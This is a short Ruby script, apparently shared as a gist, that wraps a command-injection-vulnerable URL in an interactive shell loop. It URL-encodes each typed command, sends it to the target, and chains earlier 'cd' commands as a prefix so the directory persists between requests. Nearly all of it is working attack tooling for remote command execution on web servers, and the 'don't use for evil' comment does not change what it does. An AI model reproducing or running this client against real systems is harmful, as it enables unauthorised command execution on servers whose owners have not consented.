Directory persistence hack for command-execution webshells

diraware-webshell.rb

# Simple directory-aware webshell hack
# Todo: get open-uri to co-operate with shell args for URLs
# For now, put the whole command-injection-vulnerable URL in the place indicated
# pls don't use for evil

require 'open-uri'

prefix = ""
command = "whoami"
while true
  print "> "
  command = gets.chomp
  exit if command == "exit"

  result = ""
  open("#{URLGOESHERE}"+URI::encode(prefix+command)) do |http|
    result = http.read
  end
  puts prefix+command

  #keep directory
  prefix += command+";" if command.include? "cd"

  puts "\n#{result}"
end